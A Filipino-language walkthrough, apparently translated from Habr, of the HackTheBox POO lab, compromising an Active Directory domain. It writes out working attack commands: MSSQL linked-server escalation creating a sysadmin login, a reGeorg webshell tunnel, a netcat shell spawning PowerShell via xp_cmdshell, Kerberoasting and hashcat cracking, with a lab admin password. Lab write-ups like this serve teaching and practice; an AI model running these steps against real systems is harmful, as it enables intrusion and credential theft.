HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Sa artikulong ito susuriin namin ang pagpasa ng hindi lamang isang makina, ngunit isang buong mini-laboratoryo mula sa site HackTheBox.

Gaya ng nakasaad sa paglalarawan, ang POO ay idinisenyo upang subukan ang mga kasanayan sa lahat ng yugto ng pag-atake sa isang maliit na kapaligiran ng Active Directory. Ang layunin ay ikompromiso ang isang naa-access na host, palakihin ang mga pribilehiyo, at sa huli ay ikompromiso ang buong domain habang nangongolekta ng 5 flag.

Ang koneksyon sa laboratoryo ay sa pamamagitan ng VPN. Inirerekomenda na huwag kumonekta mula sa isang computer sa trabaho o mula sa isang host kung saan mayroong data na mahalaga sa iyo, dahil napupunta ka sa isang pribadong network kasama ang mga taong may alam sa larangan ng seguridad ng impormasyon :)

Impormasyon sa organisasyon
Upang matulungan kang manatiling napapanahon sa mga bagong artikulo, software, at iba pang impormasyon, gumawa ako Telegram channel и pangkat upang pag-usapan ang anumang mga isyu sa larangan ng I&KB. Gayundin ang iyong mga personal na kahilingan, tanong, mungkahi at rekomendasyon Titingnan ko ito nang personal at tutugon sa lahat..

Ang lahat ng impormasyon ay ipinakita para sa mga layuning pang-edukasyon lamang. Ang may-akda ng dokumentong ito ay hindi tumatanggap ng anumang pananagutan para sa anumang pinsalang dulot ng sinuman bilang resulta ng paggamit ng kaalaman at mga pamamaraan na nakuha mula sa pag-aaral ng dokumentong ito.

Intro

Ang endgame na ito ay binubuo ng dalawang machine, at naglalaman ng 5 flag.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Ang isang paglalarawan at address ng magagamit na host ay ibinigay din.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Magsimula tayo!

Recon flag

Ang makinang ito ay may IP address na 10.13.38.11, na idinaragdag ko sa /etc/hosts.
10.13.38.11 poo.htb

Una sa lahat, ini-scan namin ang mga bukas na port. Dahil matagal ang pag-scan sa lahat ng port gamit ang nmap, gagawin ko muna ito gamit ang masscan. Ini-scan namin ang lahat ng TCP at UDP port mula sa tun0 interface sa bilis na 500 packet bawat segundo.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Ngayon, para makakuha ng mas detalyadong impormasyon tungkol sa mga serbisyong tumatakbo sa mga port, magpatakbo tayo ng pag-scan gamit ang -A na opsyon.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Kaya mayroon kaming mga serbisyo ng IIS at MSSQL. Sa kasong ito, malalaman natin ang tunay na pangalan ng DNS ng domain at computer. Sa web server ay binabati tayo ng home page ng IIS.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Dumaan tayo sa mga direktoryo. Gumagamit ako ng gobuster para dito. Sa mga parameter, ipinapahiwatig namin ang bilang ng mga thread 128 (-t), URL (-u), diksyunaryo (-w) at mga extension na interesado sa amin (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Nagbibigay ito sa amin ng HTTP authentication para sa /admin directory, pati na rin ang isang naa-access na desktop service .DS_Store file. Ang .DS_Store ay mga file na nag-iimbak ng mga custom na setting para sa isang folder, gaya ng listahan ng mga file, lokasyon ng icon, at piniling larawan sa background. Ang nasabing file ay maaaring mapunta sa direktoryo ng web server ng mga web developer. Sa ganitong paraan nakakakuha kami ng impormasyon tungkol sa mga nilalaman ng direktoryo. Para dito maaari mong gamitin DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Nakukuha namin ang mga nilalaman ng direktoryo. Ang pinaka-kagiliw-giliw na bagay dito ay ang /dev na direktoryo, kung saan maaari nating tingnan ang mga mapagkukunan at db file sa dalawang sangay. Ngunit maaari naming gamitin ang unang 6 na character ng mga pangalan ng file at direktoryo kung ang serbisyo ay mahina sa IIS ShortName. Maaari mong suriin para sa kahinaan na ito gamit ang IIS shortname na Scanner.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

At nakakita kami ng isang text file na nagsisimula sa "poo_co". Hindi alam kung ano ang susunod na gagawin, pinili ko lang ang lahat ng mga salita na nagsisimula sa "co" mula sa diksyunaryo ng direktoryo.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

At aayusin natin ito gamit ang wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

At nakita namin ang tamang salita! Tinitingnan namin ang file na ito, i-save ang mga kredensyal (paghusga sa parameter ng DBNAME, ang mga ito ay mula sa MSSQL).

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Isinusuko namin ang bandila at sumusulong kami ng 20%.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Huh bandila

Kumonekta kami sa MSSQL, gumagamit ako ng DBeaver.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Wala kaming nakitang kawili-wili sa database na ito, gumawa tayo ng SQL Editor at tingnan kung ano ang mga user.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Mayroon kaming dalawang gumagamit. Suriin natin ang ating mga pribilehiyo.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Kaya, walang mga pribilehiyo. Tingnan natin ang mga naka-link na server, isinulat ko ang tungkol sa diskarteng ito nang detalyado dito.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Ito ay kung paano namin mahanap ang isa pang SQL Server. Subukan natin ang pagpapatupad ng mga utos sa server na ito gamit ang openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

At maaari pa tayong bumuo ng query tree.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Ang punto ay kapag gumawa kami ng isang kahilingan sa isang naka-link na server, ang kahilingan ay isinasagawa sa konteksto ng isa pang user! Tingnan natin sa konteksto kung sinong user ang ginagawa namin sa isang naka-link na server.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Ngayon tingnan natin kung anong konteksto ang isang kahilingan mula sa isang naka-link na server sa atin!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Kaya ito ang konteksto ng DBO na dapat magkaroon ng lahat ng mga pribilehiyo. Suriin natin ang mga pribilehiyo sa kaso ng isang kahilingan mula sa isang naka-link na server.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Tulad ng nakikita mo, mayroon kaming lahat ng mga pribilehiyo! Gumawa tayo ng sarili nating admin tulad nito. Ngunit hindi nila ito pinapayagan sa pamamagitan ng openquery, gawin natin ito sa pamamagitan ng EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

At ngayon kumonekta kami sa mga kredensyal ng bagong user, sinusunod namin ang bagong database ng bandila.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Ibinigay namin ang watawat na ito at magpatuloy.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

bandila ng BackTrack

Kumuha tayo ng shell gamit ang MSSQL, gumagamit ako ng mssqlclient mula sa impacket package.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Kailangan nating kumuha ng mga password, at ang unang bagay na nakatagpo na natin ay isang website. Kaya, kailangan namin ng config ng web server (hindi posibleng mag-iwan ng maginhawang shell, tila gumagana ang firewall).

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Ngunit ang pag-access ay tinanggihan. Bagaman nababasa natin ang file mula sa MSSQL, kailangan lang nating malaman kung anong mga programming language ang na-configure. At sa direktoryo ng MSSQL nalaman namin na mayroong Python.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Pagkatapos ay walang problema sa pagbabasa ng web.config file.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Gamit ang mga nakitang kredensyal, pumunta sa /admin at kunin ang bandila.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Watawat ng paa

Sa katunayan, may ilang mga abala mula sa paggamit ng firewall, ngunit sa pagtingin sa mga setting ng network, napansin namin na ginagamit din ang IPv6!

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Idagdag natin ang address na ito sa /etc/hosts.
dead:babe::1001 poo6.htb
I-scan natin muli ang host, ngunit gamit ang IPv6 protocol.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

At ang serbisyo ng WinRM ay magagamit sa IPv6. Kumonekta tayo sa mga nahanap na kredensyal.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

May flag sa desktop, iniabot namin.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

P00ned na bandila

Pagkatapos magsagawa ng reconnaissance sa host gamit winpeas Wala kaming mahanap na espesyal. Pagkatapos ay napagpasyahan na maghanap muli ng mga kredensyal (sumulat din ako sa paksang ito isang artikulo). Ngunit hindi ko nakuha ang lahat ng SPN mula sa system sa pamamagitan ng WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Patakbuhin natin ang utos sa pamamagitan ng MSSQL.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Gamit ang paraang ito, nakukuha namin ang SPN ng mga user na p00_hr at p00_adm, na nangangahulugang mahina sila sa isang pag-atake gaya ng Kerberoasting. Sa madaling salita, makukuha natin ang kanilang mga hash ng password.

Una kailangan mong makakuha ng isang matatag na shell bilang isang gumagamit ng MSSQL. Ngunit dahil limitado kami sa pag-access, mayroon kaming komunikasyon sa host sa pamamagitan lamang ng mga port 80 at 1433. Ngunit posibleng i-tunnel ang trapiko sa pamamagitan ng port 80! Para dito gagamitin natin ang sumusunod na aplikasyon. I-upload natin ang file tunnel.aspx sa home directory ng web server - C:inetpubwwwroot.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Ngunit kapag sinubukan naming i-access ito, nakakakuha kami ng 404 na error. Nangangahulugan ito na ang mga *.aspx file ay hindi nai-execute. Upang maisakatuparan ang mga file na may ganitong mga extension, i-install ang ASP.NET 4.5 tulad ng sumusunod.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

At ngayon, kapag na-access namin ang tunnel.aspx, nakakatanggap kami ng tugon na handa na ang lahat.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Ilunsad natin ang bahagi ng kliyente ng application, na maghahatid ng trapiko. Ipapasa namin ang lahat ng trapiko mula sa port 5432 patungo sa server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

At gumagamit kami ng mga proxychain upang magpadala ng trapiko ng anumang application sa pamamagitan ng aming proxy. Idagdag natin ang proxy na ito sa configuration file /etc/proxychains.conf.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Ngayon, i-upload natin ang programa sa server netcat, kung saan gagawa tayo ng stable bind shell at script Invoke-Kerberoast, kung saan magsasagawa kami ng pag-atake ng Kerberoasting.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Ngayon inilunsad namin ang tagapakinig sa pamamagitan ng MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

At kumonekta kami sa pamamagitan ng aming proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

At kunin natin ang mga hash.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Susunod, kailangan mong umulit sa mga hash na ito. Dahil hindi naglalaman ang diksyunaryo ng rockyou ng mga password na ito, ginamit ko ang LAHAT ng mga diksyunaryo ng password na ibinigay sa Seclist. Para sa paghahanap, ginagamit namin ang hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

At nakita namin ang parehong mga password, ang una sa diksyunaryo dutch_passwordlist.txt, at ang pangalawa sa Keyboard-Combinations.txt.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

At kaya mayroon tayong tatlong user, pumunta tayo sa domain controller. Una naming alamin ang kanyang address.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Mahusay, nalaman namin ang IP address ng domain controller. Alamin natin ang lahat ng mga gumagamit ng domain, pati na rin kung sino sa kanila ang isang administrator. Upang i-download ang script upang makakuha ng impormasyon PowerView.ps1. Pagkatapos ay kumonekta kami gamit ang evil-winrm, na tumutukoy sa direktoryo na may script sa -s parameter. At pagkatapos ay ilo-load lang namin ang script ng PowerView.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Ngayon ay mayroon na tayong access sa lahat ng mga function nito. Ang p00_adm user ay mukhang isang privileged user, kaya gagawa kami sa kanyang konteksto. Gumawa tayo ng PSCredential object para sa user na ito.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Ngayon ang lahat ng Powershell command kung saan tinukoy namin ang Creds ay isasagawa bilang p00_adm. Ipakita natin ang isang listahan ng mga user at ang AdminCount attribute.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

At kaya, ang aming gumagamit ay talagang may pribilehiyo. Tingnan natin kung anong mga grupo siya.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Sa wakas, kinumpirma namin na ang user ay isang domain administrator. Nagbibigay ito sa kanya ng karapatang mag-log on sa domain controller nang malayuan. Subukan nating mag-log in sa pamamagitan ng WinRM gamit ang ating tunnel. Nalilito ako sa mga error na ginawa ng reGeorg kapag gumagamit ng evil-winrm.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Pagkatapos ay gumamit tayo ng isa pa, mas madali, iskrip para kumonekta sa WinRM. Buksan natin at baguhin ang mga parameter ng koneksyon.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Sinusubukan naming kumonekta, at kami ay nasa system.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Ngunit walang bandila. Pagkatapos ay tingnan ang gumagamit at suriin ang mga desktop.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Nahanap namin ang bandila sa mr3ks at ang laboratoryo ay 100% na natapos.

HackTheBoxendgame. Pagpasa ng laboratoryo Mga Propesyonal na Offensive Operations. Pentest Active Directory

Iyon lang. Bilang isang feedback, mangyaring magkomento kung may natutunan ka bang bago mula sa artikulong ito at kung ito ay kapaki-pakinabang sa iyo.

Maaari kang sumali sa amin sa Telegrama. Doon ay makakahanap ka ng mga kawili-wiling materyales, mga leaked na kurso, pati na rin ang software. Magtipon tayo ng isang komunidad kung saan magkakaroon ng mga taong nakakaunawa sa maraming bahagi ng IT, pagkatapos ay maaari tayong laging tumulong sa isa't isa sa anumang mga isyu sa IT at seguridad ng impormasyon.

Pinagmulan: www.habr.com

Magdagdag ng komento